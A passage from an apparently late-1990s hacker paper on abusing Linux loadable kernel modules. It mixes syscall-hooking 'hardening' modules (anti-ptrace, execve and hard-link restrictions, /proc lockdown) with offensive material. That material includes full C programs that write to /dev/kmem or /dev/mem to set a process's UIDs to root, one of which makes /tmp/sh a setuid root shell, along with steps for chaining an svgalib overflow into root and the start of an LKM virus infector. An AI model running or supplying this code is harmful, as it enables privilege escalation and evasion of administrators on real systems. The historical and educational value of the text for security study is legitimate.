Well how can we control strace? Don't be silly and remove strace from your system, and think everything is ok - as I show you ptrace(...) is a library function. Every hacker can code his own program doing the same as strace. So we need a better more secure solution. Your first idea could be to search for an interesting systemcall that could be responsible for the tracing; There is a systemcall doing that; but let's look at another approach before.

Remember II.5.1 : I talked about the task flags. There were two flags which stand for traced processes. This is the way we can control the tracing on our system. Just intercept the sys_execve(...) systemcall and check the current process for one of the two flags set.

3.1 Practical Example of a prototype Anti-Tracer

This is my little LKM called 'Anti-Tracer'. It basicly implements the ideas from 4. The flags field from our process can easily be retrieved using the current pointer (task structure). The rest is nothing new.

```
#define MODULE
#define __KERNEL__
```

```
#include <linux/module.h>
#include <linux/kernel.h>
#include <asm/unistd.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <asm/fcntl.h>
#include <asm/errno.h>
#include <linux/types.h>
#include <linux/dirent.h>
#include <sys/mman.h>
#include <linux/string.h>
#include <linux/fs.h>
#include <linux/malloc.h>
```

```
extern void* sys_call_table[];
```

```
int __NR_myexecve;
```

```
int (*orig_execve) (const char *, const char *[], const char *[]);
```

```
char *strncpy_fromfs(char *dest, const char *src, int n)
{
    char *tmp = src;
```

```

int compt = 0;

do {
    dest[compt++] = __get_user(tmp++, 1);
}
while ((dest[compt - 1] != '\0') && (compt != n));
return dest;
}

int my_execve(const char *filename, const char *argv[], const char
*envp[])
{
    long __res;
    __asm__ volatile ("int $0x80" : "=a" (__res) : "0"(__NR_myexecve),
"b"((long)
                (filename)), "c"((long) (argv)), "d"((long)
(envp)));
    return (int) __res;
}

int hacked_execve(const char *filename, const char *argv[], const
char *envp[])
{
    int ret, tmp;
    unsigned long mmm;
    char *kfilename;

    /*check for the flags*/
    if ((current->flags & PF_PTRACED) || (current->flags & PF_TRACESYS)) {
        /*we are traced, so print the traced process (program name) and
return
        without execution*/
        kfilename = (char *) kmalloc(256, GFP_KERNEL);
        (void) strncpy_fromfs(kfilename, filename, 255);
        printk("<1>TRACE ATTEMPT ON %s -> PERMISSION DENIED\n", kfilename);
        kfree(kfilename);
        return 0;
    }
    ret = my_execve(filename, argv, envp);
    return ret;
}

```

```

int init_module(void)                                /*module setup*/
{
  __NR_myexecve = 200;
  while (__NR_myexecve != 0 && sys_call_table[__NR_myexecve] != 0)
    __NR_myexecve--;
  orig_execve = sys_call_table[SYS_execve];
  if (__NR_myexecve != 0)
  {
    sys_call_table[__NR_myexecve] = orig_execve;
    sys_call_table[SYS_execve] = (void *) hacked_execve;
  }
  return 0;
}

void cleanup_module(void)                            /*module shutdown*/
{
  sys_call_table[SYS_execve]
=orig_execve;
}
<xmp>

```

This LKM also logs any executable someone wanted to execute with tracing. Well this LKM checks for some flags, but what if you start tracing a program which is already running. Just imagine a program (shell or whatever) running with the PID 1853, now you do a 'strace -p 1853'. This will work. So for securing this hooking `sys_ptrace(...)` is the only way. Look at the following module :

```

<xmp>
#define MODULE
#define __KERNEL__

#include <linux/module.h>
#include <linux/kernel.h>
#include <asm/unistd.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <asm/fcntl.h>
#include <asm/errno.h>

```

```
#include <linux/types.h>
#include <linux/dirent.h>
#include <sys/mman.h>
#include <linux/string.h>
#include <linux/fs.h>
#include <linux/malloc.h>

extern void* sys_call_table[];

int (*orig_ptrace)(long request, long pid, long addr, long data);

int hacked_ptrace(long request, long pid, long addr, long data)
{
    printk("TRACING IS NOT ALLOWED\n");
    return 0;
}

int init_module(void)                                /*module setup*/
{
    orig_ptrace=sys_call_table[SYS_ptrace];
    sys_call_table[SYS_ptrace]=hacked_ptrace;
    return 0;
}

void cleanup_module(void)                            /*module shutdown*/
{
    sys_call_table[SYS_ptrace]
=orig_ptrace;
}
<xmp>
```

Use this LKM and no one will be able to trace anymore.

5. Hardening the Linux Kernel with LKMs</h3>

This section subject may sound familiar to Phrack readers. Route introduced nice ideas for making the Linux system more secure. He used some patches. I want to show that some ideas can also be implemented by LKMs. Remember that

without hiding those LKMs it is also *useful* (of course hiding is something you should do), because route's patches are also worthless if someone rooted the system; and a non-privileged user can *not* remove our LKM, but he can see it. The advantage of using LKMs instead of a static kernel patch : you can easily manage the whole system security, and install it more easily on running system. It's not necessary to install a new kernel on sensitive system you need every second.
The Phrack patches also added some logging feature's which I did not implement but there are thousand ways to do it. The simplest way would be using `printk(...)` [Note : I did not look at every aspect of route's patches. Perhaps real good kernel hackers would be able to do more with LKMs.]

[4.1 Why should we allow arbitrary programs execution rights?](#)

The following LKM is something like route's kernel patch that checks for execution rights :

```
<xmp>
#define __KERNEL__
#define MODULE

#include <linux/version.h>
#include <linux/mm.h>
#include <linux/unistd.h>
#include <linux/fs.h>
#include <linux/types.h>
#include <asm/errno.h>
#include <asm/string.h>
#include <linux/fcntl.h>
```

```
#include <sys/syscall.h>
#include <linux/module.h>
#include <linux/malloc.h>
#include <linux/kernel.h>
#include <linux/kerneld.h>

/* where the sys_calls are */

int __NR_myexecve = 0;

extern void *sys_call_table[];

int (*orig_execve) (const char *, const char *[], const char *[]);
int (*open)(char *, int, int);
int (*close)(int);

char *strncpy_fromfs(char *dest, const char *src, int n)
{
    char *tmp = src;
    int compt = 0;

    do {
        dest[compt++] = __get_user(tmp++, 1);
    }
    while ((dest[compt - 1] != '\0') && (compt != n));
    return dest;
}

int my_execve(const char *filename, const char *argv[], const char
*envp[])
{
    long __res;
    __asm__ volatile ("int $0x80":"=a" (__res):"0"(__NR_myexecve),
"b"((long)
(filename)), "c"((long) (argv)), "d"((long) (envp)));
    return (int) __res;
}

int hacked_execve(const char *filename, const char *argv[], const
char *envp[])
{
```

```
int fd = 0, ret;
struct file *file;

/*we need the inode strucure*/
/*I use the open approach here, because you should understand it
from the LKM
infector, read on for seeing a better approach*/
fd = open(filename, O_RDONLY, 0);

file = current->files->fd[fd];

/*is this a root file ?*/
/*Remember : you can do other checks here (route did more checks),
but this
is just for demonstration. Take a look at the inode
structur to
see other items to heck for (linux/fs.h)*/
if (file->f_inode->i_uid!=0)
{
    printk("<1>Execution denied !\n");
    close(fd);
    return -1;
}
else /*otherwise let the user execute the file*/
{
    ret = my_execve(filename, argv, envp);
    return ret;
}
}

int init_module(void) /*module setup*/
{
    printk("<1>INIT \n");
    __NR_myexecve = 250;
    while (__NR_myexecve != 0 && sys_call_table[__NR_myexecve] != 0)
        __NR_myexecve--;
    orig_execve = sys_call_table[SYS_execve];
    if (__NR_myexecve != 0)
    {
        printk("<1>everything OK\n");
        sys_call_table[__NR_myexecve] = orig_execve;
        sys_call_table[SYS_execve] = (void *) hacked_execve;
    }
}
```

```

open = sys_call_table[__NR_open];
close = sys_call_table[__NR_close];
return 0;
}

```

```

void cleanup_module(void)                /*module shutdown*/
{
    sys_call_table[SYS_execve]
=orig_execve;
}

```

This is not exactly the same as route's kernel patch. route checked the *path* we check the *file* (a path check would also be possible, but in my opinion a file check is also the better way). I only implemented a check for UID of the file, so an admin can filter the file execution process. As I said the open / fd approach I used above is not the easiest way; I took it because it should be familiar to you (remember, the LKM infector used this method). For our purpose the following kernel function is also possible (easier way):

```
int lnamei(const char *pathname, struct inode **res_inode);
```

Those functions take a certain pathname and return the corresponding inode structure. The difference between the functions above lies in the symlink resolving : lnamei does *not* resolve a symlink and returns the inode structure for the symlink itself. As a hacker you could also modify inodes. Just retrieve them by hooking sys_execve(...) and using namei(...) (the way we use also for execution control) and manipulate the inode (I will show a practical example of this idea in 5.3).

4.2 The Link Patch

Every Linux user knows that symlink bugs are something which often leads to serious problems if it comes to system security. Andrew Tridgell developed a kernel patch which prevents a process from 'following a link which is in a +t (mostly /tmp/) directory unless they own the link'. Solar Designer added some code which also prevents users from creating hard links in a +t directory to files they don't own.

I have to admit that the symlink patch lies on a layer we can't easily reach from our LKM position. There are neither exported symbols we could patch nor any systemcalls we could intercept. The symlink resolving is done by the VFS. Take a look at part IV for methods which could help us to solve this problem (but I would not use the methods from IV to *secure* a system). You may wonder why I don't use the sys_readlink(...) systemcall for solving the problem. Well this call is used if you do a 'ls -a symlink' but it is not called if you issue a 'cat symlink'.

In my opinion you should leave this as a kernel patch. Of course you can code a LKM which intercepts the sys_symlink(...) systemcall in order to prevent a user from creating symlinks in the /tmp directory. Look at the hard link LKM for a similar implementation.

Ok, the symlink problem was a bit hard to transform it to a LKM. How about Solar Designer's idea concerning hard link restrictions. This can be done as LKM. We only need to intercept sys_link(...)

which is responsible for creating any hard links. Let's take a look at hacked systemcall (the code fragment does not exactly the same as the kernel patch, because we only check for the '/tmp/' directory, not for the sticky bit(+t), but this can also be done with looking at the inode structure of the directory [see 5.1]):

```
int hacked_link(const char *oldname, const char *newname)
{
    char *kernel_newname;
    int fd = 0, ret;
    struct file *file;

    kernel_newname = (char*) kmalloc(256, GFP_KERNEL);
    memcpy_fromfs(kernel_newname, newname, 255);

    /*hard link to /tmp/ directory ?*/
    if (strstr(kernel_newname, (char*)&hide ) != NULL)
    {
        kfree(kernel_newname);

        /*I use the open approach again :)*/
        fd = open(oldname, O_RDONLY, 0);

        file = current->files->fd[fd];

        /*check for UID*/
        if (file->f_inode->i_uid!=current->uid)
        {
            printk("<1>Hard Link Creation denied !\n");
            close(fd);
            return -1;
        }
    }
    else
    {
        kfree(kernel_newname);
        /*everything ok -> the user is allowed to create the hard link*/
        return orig_link(oldname, newname);
    }
}
```

This way you could also control the symlink *creation*.

4.3 The /proc permission patch

I already showed you some ways how to hide some process information. route's idea is different to our hide approach. He wants to limit the /proc/ access (needed for access to process information) by

changing the directory permissions. So he patched the proc inode. The following LKM will do exactly the same without a static kernel patch. If you load it a user will not be allowed to read the proc fs, if you unload it he will be able to. Here we go: /*very bad programming style (perhaps we should use a function for the

```

    indode retrieving), but it works...*/
#define __KERNEL__
#define MODULE
#define BEGIN_KMEM {unsigned long old_fs=get_fs();set_fs(get_ds());
#define END_KMEM   set_fs(old_fs);}

#include <linux/version.h>
#include <linux/mm.h>
#include <linux/unistd.h>
#include <linux/fs.h>
#include <linux/types.h>
#include <asm/errno.h>
#include <asm/string.h>
#include <linux/fcntl.h>
#include <sys/syscall.h>
#include <linux/module.h>
#include <linux/malloc.h>
#include <linux/kernel.h>
#include <linux/kerneld.h>

extern void *sys_call_table[];

int (*open)(char *, int, int);
int (*close)(int);

int init_module(void)                                /*module setup*/
{
    int fd = 0;
    struct file *file;
    struct inode *ino;

    /*again the open(...) way*/
    open = sys_call_table[SYS_open];
    close = sys_call_table[SYS_close];

    /*we have to supplie some kernel space data for the syscall*/
    BEGIN_KMEM
    fd = open("/proc", O_RDONLY, 0);

```

```

END_KMEM
printk("%d\n", fd);
file = current->files->fd[fd];

/*here's the inode for the proc directory*/
ino= file->f_inode;

/*modify permissions*/
ino->i_mode=S_IFDIR | S_IRUSR | S_IXUSR;

close(fd);
return 0;
}

```

```

void cleanup_module(void)                /*module shutdown*/
{
    int fd = 0;
    struct file *file;
    struct inode *ino;

    BEGIN_KMEM
    fd = open("/proc", O_RDONLY, 0);
    END_KMEM
    printk("%d\n", fd);
    file = current->files->fd[fd];

    /*here's the inode for the proc directory*/
    ino= file->f_inode;

    /*modify permissions*/
    ino->i_mode=S_IFDIR | S_IRUGO | S_IXUGO;

    close(fd);
}

```

Just load this module and try a ps, top or whatever, it won't work. Every access to the /proc directory is totally denied. Of course, as root you are still allowed to view every process and anything else; this is just a permission patch in order to keep your users silly.

[Note : This is a practical implementation of modifying inodes 'on the fly' you should see many possibilities how to abuse this.]

4.4 The securelevel patch

The purpose of this patch : I quote route

"This patch isn't really much of a patch. It simply bumps the securelevel up, to 1 from 0. This freezes the immutable and append-only bits on files, keeping anyone from changing them (from the normal chattr interface). Before turning this on, you should of course make certain key files immutable, and logfiles append-only. It is still possible to open the raw disk device, however. Your average cut and paste hacker will probably not know how to do this."

Ok this one is really easy to implement as a LKM. We are lucky because the symbol responsible for the securelevel is public (see /proc/ksyms) so we can easily change it. I won't present an example for this bit of code, just import secure level and set it in the module's init function.

4.5 The rawdisk patch

I developed an easy way to avoid tools like THC's manipulate-data.

Those tools are used by hackers to search the hard disk for their origin IP address or DNS name. After finding it they modify or remove the entry from the hard disk. For doing all this they need access to the /dev/* files for opening the rawdisk. Of course they can only do this after rooting the system. So what can we do about this. I found that the following way helps to prevent those attacks [of course there are again thousand ways to defeat that protection :)] :

- boot your system
- install a LKM which prevents direct (dev/*) access to your partition you save your logs

This works because the system (normally) only needs direct access to the rawdisk during the some (seldom) operations. The LKM just intercepts sys_open(...) and filter for the needed dev-file. I think it's not necessary to show how to code it, take a look at II.4.2). This way you can protect any /dev/* file.

The problem is that this way nobody can access them directly while the LKM is loaded.

[Note : There are some functions which will not work / crash the system, but a normal web-, or mailserver should work with this patch.]

IV. Some Better Ideas (for hackers)

1. Tricks to beat admin LKMs

This part will give us some notes on playing with the kernel on systems where you have a paranoid (good) admin. After explaining all the ways admins can protect a system, it is very hard to find better ways for us (hackers).

We need to leave the LKM field for some seconds in order to beat those hard protections.

Imagine a system where an admin has installed a very good and big monitor LKM which checks every action on that system. It can do everything mentioned in part II and III.

The first way to get rid of this LKM is trying to reboot the system, perhaps the admin did not load this

LKM from an init file. So try some DoS Attacks or whatever works. If you still cannot kill this LKM try to look at some important files, but be careful, some files may be protected / monitored (see appendix A for such a LKM).

If you really cannot see where the LKM is loaded etc., forget the system or risk installing a backdoor, which you cannot hide (process/file). But if an admin really uses such a 'mega' LKM, forget the system, he might really be good and you may get some trouble. For those who even want to beat that system read section 2.

2. Patching the whole kernel - or creating the Hacker-OS

[Note : This section may sound a bit off topic, but in the end I'll present a nice idea (program that was developed by Silvio Cesare which will also help us using our LKMs. This section will only give a summary of the whole kmem problem due to the fact that we only need to focus on the idea by Silvio Cesare.)]

Ok LKM's are nice. But what if the admin is like the one described in 1. He does everything in order to prevent us from using our nice LKM techniques from part II. He even patched his own kernel, to make his system secure. He uses a kernel without native LKM support.

So now it's time to make our last step : Runtime Kernel Patching. The basic ideas in this section come from some sources I found (kmemthief etc) and a paper by Silvio Cesare which describes a general approach to modifying kernel symbols. In my opinion this kind of attack is one of the strongest concerning 'kernel hacking'. I don't understand every Un*x kernel out there, but this approach can help you on many systems. This section describes Runtime Kernel Patching, but what about kernelfile patching. Every system has a file which represents the plain kernel. On free systems like FreeBSD, Linux, ... it is easy to patch a kernel file, but what about the commercial ones ? I never tried it, but I think this would really be interesting : Imagine backdoor'ing a system thru a kernel patch. You only have to do a reboot or wait for one (every system must reboot sometimes :). But this text will only deal with the runtime approach. You may say that this paper is called 'Abusing Linux Loadable Kernel Modules' and you don't want to know how to patch the whole Linux kernel. Well this section will help us to 'insmod' LKMs on systems which are very secure and have no LKM support in their kernel. So we learn something which will help us with our LKM abusing.

So let's start with the most important thing we have to deal with if we want to do RKP(Runtime Kernel Patching).It's the file /dev/kmem,which makes it possible for us to take a look (and modify) the complete virtual memory of our target system. [Note : Remember that the RKP approach is in most cases only useful, if you rooted a system. Only very unsecure systems will give normal users access to that file]. As I said before /dev/kmem gives us the chance to see every memory byte of our system (plus swap). This means we can also access the whole memory which allows us to manipulate any kernel item in the memory (because the kernel is only some objectcode loaded into system memory). Remember the /proc/ksyms file which shows us every address of an exported kernel symbol. So we know where to modify memory in order to manipulate some kernel symbols. Let's take a look at a very basic example which is known for a very long time. The following (user space) program takes the task_structure address (look for kstat in /proc/ksyms) and a certain PID. After searching the task structure that stands for the specified PID it modifies every user id field in order to make this process UID=0. Of course today this program is nearly of no use, because most systems don't even allow a normal user to read /dev/kmem but it is a

```
good introduction into RKP. /*Attention : I implemented no error checking!*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>

/*max. number of task structures to iterate*/
#define NR_TASKS          512

/*our task_struct -> I only use the parts we need*/
struct task_struct {
    char a[108];           /*stuff we don't need*/
    int pid;
    char b[168];           /*stuff we don't need*/
    unsigned short uid,euid,suid,fsuid;
    unsigned short gid,egid,sgid,fsgid;
    char c[700];           /*stuff we don't need*/
};

/*here's the original task_structure, to show you what else you can
modify
struct task_struct {
    volatile long state;
    long counter;
    long priority;
    unsigned long signal;
    unsigned long blocked;
    unsigned long flags;
    int errno;
    long debugreg[8];
    struct exec_domain *exec_domain;
    struct linux_binfmt *binfmt;
    struct task_struct *next_task, *prev_task;
    struct task_struct *next_run, *prev_run;
    unsigned long saved_kernel_stack;
    unsigned long kernel_stack_page;
    int exit_code, exit_signal;
    unsigned long personality;
    int dumpable:1;
    int did_exec:1;
    int pid;
    int pgrp;
```

```

int tty_old_pgrp;
int session;
int leader;
int    groups[NGROUPS];
struct task_struct *p_opptr, *p_pptr, *p_cpctr, *p_ysptr, *p_osptr;
struct wait_queue *wait_chldexit;
unsigned short uid,euid,suid,fsuid;
unsigned short gid,egid,sgid,fsgid;
unsigned long timeout, policy, rt_priority;
unsigned long it_real_value, it_prof_value, it_virt_value;
unsigned long it_real_incr, it_prof_incr, it_virt_incr;
struct timer_list real_timer;
long utime, stime, cutime, cstime, start_time;
unsigned long min_flt, maj_flt, nswap, cmin_flt, cmaj_flt, cnswap;
int swappable:1;
unsigned long swap_address;
unsigned long old_maj_flt;
unsigned long dec_flt;
unsigned long swap_cnt;
struct rlimit rlim[RLIM_NLIMITS];
unsigned short used_math;
char comm[16];
int link_count;
struct tty_struct *tty;
struct sem_undo *semundo;
struct sem_queue *semsleeping;
struct desc_struct *ldt;
struct thread_struct tss;
struct fs_struct *fs;
struct files_struct *files;
struct mm_struct *mm;
struct signal_struct *sig;
#ifdef __SMP__
    int processor;
    int last_processor;
    int lock_depth;
#endif
};
*/

int main(int argc, char *argv[])
{
    unsigned long task[NR_TASKS];

```

```

/*used for the PID task structure*/
struct task_struct current;
int kmemh;
int i;
pid_t pid;
int retval;

pid = atoi(argv[2]);

kmemh = open("/dev/kmem", O_RDWR);

/*seek to memory address of the first task structure*/
lseek(kmemh, strtoul(argv[1], NULL, 16), SEEK_SET);
read(kmemh, task, sizeof(task));

/*iterate till we found our task structure (identified by PID)*/
for (i = 0; i < NR_TASKS; i++)
{
    lseek(kmemh, task[i], SEEK_SET);
    read(kmemh, &current, sizeof(current));
    /*is it our process?*/
    if (current.pid == pid)
    {
        /*yes, so change the UID fields...*/
        current.uid = current.euid = 0;
        current.gid = current.egid = 0;
        /*write them back to memory*/
        lseek(kmemh, task[i], SEEK_SET);
        write(kmemh, &current, sizeof(current));
        printf("Process was found and task structure was modified\n");
        exit(0);
    }
}
}
}

```

Nothing special about this little program. It's just like searching a certain pattern in a file and changing some fields. There are lots of programs out there which are doing stuff like that. As you can see the example above won't help you attacking a system, it's just for demonstration (but there mayby some poor systems allowing users to write to /dev/kmem, I don't know).

The same way you can change the module structures responsible for holding the kernel's module information. This way you can also hide a module, just by patching kmem; I don't present an implementation of this, because it is basicly the same as the program above (ok, the searching is a bit harder ;)).

The way above we modified a kernel structure. There are some programs doing things like that. But

what about functions ? Well search the internet and you will soon recognize that there are not so many programs doing things like that. Well, of course patching a kernel function (we will do more useful things later) is a bit tricky. The best way would be to play with the `sys_call_table` structure which will point to a completely new function made by us. Otherwise there would be some problems concerning function size and so on. The following example is just a very easy program making every systemcall doing nothing. I just insert a `RET(0xc3)` at the beginning of the function address that I get from `/proc/ksyms`. This way the function will return immediately doing nothing.

```
/*again no error checking*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>

/*just our RET opcode*/
unsigned char asmcode[]={0xc3};

int main(int argc, char *argv[])
{
    unsigned long counter;
    int kmemh;

    /*open device*/
    kmemh = open("/dev/kmem", O_RDWR);

    /*seek to memory address where the function starts*/
    lseek(kmemh,  strtoul(argv[1], NULL, 16), SEEK_SET);

    /*write our patch byte*/
    write(kmemh, &asmcode, 1);

    close(kmemh);
}
```

Let's summarize what we know so far : We can modify any kernel symbol; this includes things like `sys_call_table[]` and any other function or structure.

Remember that every kernel patching can only be done if we can access `/dev/kmem` but there are also ways how to protect this file. Take a look at III.5.5.

2.1 How to find kernel symbols in `/dev/kmem`

After the basic examples above you could ask how to modify *any* kernel symbol and how to find interesting ones. In the example above we used `/proc/ksyms` to get the address we need to modify a symbol. But what do we have on systems with no lkm support build into their kernel, there won't be a `/proc/ksyms` file, because it is only used for module management (public / available symbols)? And what

about kernel symbols that are not exported, how can we modify them ?

Many questions, so let's find some solutions. Silvio Cesare discussed some ways finding different kernel symbols (public & non-public ones). He outlines that while compiling the linux kernel a file called 'System.map' is created which maps every kernel symbol to a fixed address. This file is only needed during compilation for resolving those kernel symbols. The running systems has no need for that file. The addresses used for compilation are the same we can use to seek /dev/kmem. So the general approach would be :

- lookup System.map for the needed kernel symbol
- take the address we found
- modify the kernel symbol (structure, function, or whatever)

Sounds quite easy. But there is one big problem. Every system which does not use exactly *our* kernel will have other addresses for their kernel symbols.

And on most systems you won't find a helpful System.map file telling us every address. So what to do. Silvio Cesare proposed to use a 'key search'. Just take your kernel, read the first 10 bytes (just a random value) of a symbol address and take them as a key for searching the same symbol in another kernel. If you cannot build a generic key for a certain symbol you may try to find some relations from this symbol to other kernel symbols you can create generic keys for. Finding relations can be done by looking up the kernel sources; this way you can also find interesting kernel symbols you could modify (patch).

2.2 The new 'insmod' working without kernel support

Now it's time to go back to our LKM hacking. This section will give you some hints concerning Silvio Cesare's kinsmod program. I will only outline the general working. The most complicated part of the program is the objectcode handling (elf file) and its kernel space mapping. But this is only a problem of the elf header processing nothing kernel specific. Silvio Cesare used elf files because this way you can insert [normal] LKMs. It would also be possible to write a file (just opcodes -> see me RET example) and inserting this file which would be harder to could but essier to map. For those who really want to understand the elf file handling I added Silvio Cesare's file to this text (I've also done it because Silvio Cesare wants his sources / ideas only be distributed within the whole file).

Now it's time to look at the general ideas of inserting LKMs on a system without support for that feature. The first problem we are faced to if we want to insert code (a LKM or whatever) into the kernel is the need for memory. We can't take a random address and write our objectcode to /dev/kmem. So where can we put our code in a way it does not hurt the running system and will not be removed due to some memory operation in kernel space. There's one place where we can insert a bit of code, take a look at the following figure showing the general kernel memory : kernel data

```
...
kmalloc pool
```

The kmalloc pool is used for memory allocation in kernel space (kmalloc(...)). We cannot put our code into this pool because we cannot be sure that the address space we write to is unused. Now comes Silvio Cesare's idea : the kmalloc pool borders in memory are saved in memory_start and memory_end which

are exported by the kernel (see `/proc/ksyms`). The interesting point about this is that the start address (`memory_start`) is *not* exactly the `kmalloc` pool start address, because this address is aligned to the next page border of `memory_start`. So there is a bit of memory which will never be used (between `memory_start` and the real start of the `kmalloc` pool). This is the best place to insert our code. Ok this is not the whole story, you may recognize that no useful LKM will fit into this little buffer. Silvio Cesare used some bootstrap code he put into this little buffer; this code loads the actual LKM. This way we can load LKMs on systems without support for this. Please read Silvio Cesare's paper for an in-depth discussion on actually mapping a LKM file (elf format) into the kernel; this is a bit difficult.

3. Last words

Section 2 was nice, but what about systems which do not permit access to `kmem`? Well a last way would be inserting/modifying kernel space with the help of some kernel bugs. There are always some buffer overflows and other problems in kernel space. Also consider checking modules for some bugs. Just take a look at the many source files of the kernel. Even user space programs can help us to modify the kernel. Bear in mind, that some weeks months ago a bug concerning `svgalib` was found. Every program using `svgalib` gets a handle with write permissions to `/dev/mem`. `/dev/mem` can also be used for RKP with the same addresses as `/dev/kmem`. So look at the following list, to get some ideas how to do RKP on very secure systems :

- find a program that uses `svgalib`
- check the source of that program for common buffer overflows (should be not too hard)
- write an exploit which starts a program using the open `/dev/mem` write handle to manipulate the appropriate task structure to make your process UID 0
- create a root shell

This generic scheme works very fine (`zgv`, `gnuplot` or some know examples). For patching the task structure some people use the following program (which uses the open write handle) by Nergal : / *

```
by Nergal */
```

```
#define SEEK_SET 0
```

```
#define __KERNEL__
```

```
#include <linux/sched.h>
```

```
#undef __KERNEL__
```

```
#define SIZEOF sizeof(struct task_struct)
```

```
int mem_fd;
```

```
int mypid;
```

```
void
```

```
testtask (unsigned int mem_offset)
```

```

{
  struct task_struct some_task;
  int uid, pid;
  lseek (mem_fd, mem_offset, SEEK_SET);
  read (mem_fd, &some_task, sizeof);
  if (some_task.pid == mypid) /* is it our task_struct ? */
  {
    some_task.euid = 0;
    some_task.fsuid = 0; /* needed for chown */
    lseek (mem_fd, mem_offset, SEEK_SET);
    write (mem_fd, &some_task, sizeof);
    /* from now on, there is no law beyond do what thou wilt */
    chown ("/tmp/sh", 0, 0);
    chmod ("/tmp/sh", 04755);
    exit (0);
  }
}
#define KSTAT 0x001a8fb8 /* <-- replace this addr with that of your
kstat */
main () /* by doing strings /proc/ksyms |grep
kstat */
{
  unsigned int i;
  struct task_struct *task[NR_TASKS];
  unsigned int task_addr = KSTAT - NR_TASKS * 4;
  mem_fd = 3; /* presumed to be opened /dev/mem */
  mypid = getpid ();
  lseek (mem_fd, task_addr, SEEK_SET);
  read (mem_fd, task, NR_TASKS * 4);
  for (i = 0; i < NR_TASKS; i++)
    if (task[i])
      testtask ((unsigned int)(task[i]));
}

```

This was just an example to show you that there is always one way, you only have to find it. Systems with stack execution patches, you could look for heap overflows or just jump into some library functions (system(...)). There are thousand ways...

I hope this last section gave you some ideas how to proceed.

V. The near future : Kernel 2.2.x

1. Main Difference for LKM writer's

Linux has a new Kernel major Version 2.2 which brings some little changes to LKM coding. This part will help you to make the change, and outline the biggest changes. [Note : There will be another release concentrating on the new kernel]

I will show you some new macros / functions which will help you to develop LKMs for Kernel 2.2. For an exact listing of every change take a look at the new `linux/module.h` include file, which was totally rewritten for Kernel 2.1.18. First we will look at some macros which will help us to handle the System Table in an easier way :

macro	description
<code>EXPORT_NO_SYMBOLS;</code>	this one is equal to <code>register_syntab(NULL)</code> for older kernel versions
<code>EXPORT_SYMTAB;</code>	this one must be defined before <code>linux/module.h</code> if you want to export some symbols
<code>EXPORT_SYMBOL(name);</code>	export the symbol named 'name'
<code>EXPORT_SYMBOL_NOVERS (name);</code>	export without version information

The user space access functions were also changed a bit, so I will list them here (just include `asm/uaccess.h` to use them) :

function	description
<code>int access_ok (int type, unsigned long addr, unsigned long size);</code>	this function checks whether the current process is allowed to access <code>addr</code>
<code>unsigned long copy_from_user (unsigned long to, unsigned long from, unsigned long len);</code>	this is the 'new' <code>memcpy_tofs</code> function
<code>unsigned long copy_to_user (unsigned long to, unsigned long from, unsigned long len);</code>	this is the counterpart of <code>copy_from_user(...)</code>

You don't need to use `access_ok(...)` because the function listed above check this themselves. There are many more differences, but you should really take a look at `linux/module.h` for a detailed listing.

I want to mention one last thing. I wrote lots of stuff on the `kerneld` daemon (`kerneld`). Kernel 2.2 will not use `kerneld` any more. It uses another way of implementing the `request_module(...)` kernel space function - it's called `kmod`. `kmod` totally runs in kernel space (no IPC to user space any more). For LKM programmers nothing changes, you can still use the `request_module(...)` for loading modules. So the LKM infectors could use this also on kernel 2.2 systems.

I'm sorry about this little kernel 2.2 section, but at the moment I am working on a general paper on kernel 2.2 security (especially the lkm behaviour). So watch out for new THC releases. I even plan to work on some BSD systems (FreeBSD, OpenBSD, for example) but this will take some months.

VI. Last Words

1. The 'LKM story' or 'how to make a system plug & hack compatible'

You may wonder how insecure LKMs are and why they are used in such an insecure ways. Well LKMs are designed to make life easier especially for users. Linux fights against Microsoft, so developers need a way to make the old unix style a bit more attractive and easier. They implement things like KDE and other nice things. Kernel, for example, was developed in order to make module handling easier. But remember, the easier and more automated a system is the more problems concerning security are possible. It is *impossible* to make a system usable by everyone and being secure enough. Modules are a great example for this.

Microsoft shows us other examples : thinking of ActiveX, which is a (maybe) good idea, with a cruel security design for keeping everything simple.

So dear Linux developers : Be careful, and don't make the fault Microsoft made, don't create a plug & hack compatible OS. KEEP SECURITY IN MIND !

This text should also make clear that the kernel of any system must be protected in the best way available. It must be impossible for attackers to modify the most important item of your whole system. I leave this task to all system designers out there :).

2. Links to other Resources

Here are some interesting links about LKMs (not only hack & security related):

[Internet]

<http://www.linuxhq.com>

everything on Linux + nice kernel links

<http://www.linuxlinks.com>

lots of links concerning Linux

<http://www.linux.org>

'propaganda' page for Linux

<http://www.lwn.net>

weekly Linux news; very interesting there are also kernel / security sections

<http://www.phrack.com>

read issue 50 & 52 for interesting module information

<http://www.rootshell.com>

they have some nice LKMs

<http://www.geek-girl.com/bugtraq/>

there were some discussions on LKM security

<http://hispahack.ccc.de>

HISPAHACK homepage

<http://r3wt.base.org>

THC homepage (articles, magazines and lots of tools)

<http://www.antisearch.com>

one of the best security / hacking related search engines I know

<http://www.kernel.org>

get the kernel and study it !

[Books]

Linux-Kernel-Programming (Addison Wesley)

A very good book. I read the german version but I think there is also an english version.

Linux Device Drivers (O'Reilly)

A bit off topic, but also very interesting. The focus is more on writing LKMs as device drivers.

Acknowledgements

Thanks for sources / ideas fly to :

plaguez, Solar Designer, halflife, Michal Zalewski, Runar Jensen, Aleph1, Stealthf0rk/SVAT, FLoW/HISPAHACK, route, Andrew Tridgell, Silvio Cesare, daemon9, Nergal, van Hauser (especially for showing me some bugs) and those nameless individuals providing us with their ideas (there are so many) !

Greets

groups : THC, deep, ech0, ADM, =phake=

personal :

van Hauser - thanks for giving me the chance to learn
mindmaniac - thanks for introducing 'the first contact'

background music groups (helping me to concentrate on writing :) :
Neuroactive, Image Transmission, Panic on the Titanic, Dracul

A - Appendix

Here you will find some sources. If the author of the LKM also published some notes / texts which are interesting, they will also be printed.

LKM Infector

NAME : moduleinfect.c

AUTHOR : [Stealthf0rk/SVAT](http://www.rootshell.com)

DESCRIPTION : This is the first published LKM infector which was discussed II.8. This LKM has no destruction routine, it's just an infector, so experimenting should be quite harmless.

LINK : <http://www.rootshell.com>

```
/*          SVAT - Special Virii And Trojans - present:
*
* ----- the k0dy-projekt, virii phor unix systems -----
==--
*
* Okay guys, here we go...
* As i told you with VLP I (we try to write an fast-infector)
* here's the result:
* a full, non-overwriting module infector that catches
* lkm's due to create_module() and infects them (max. 7)
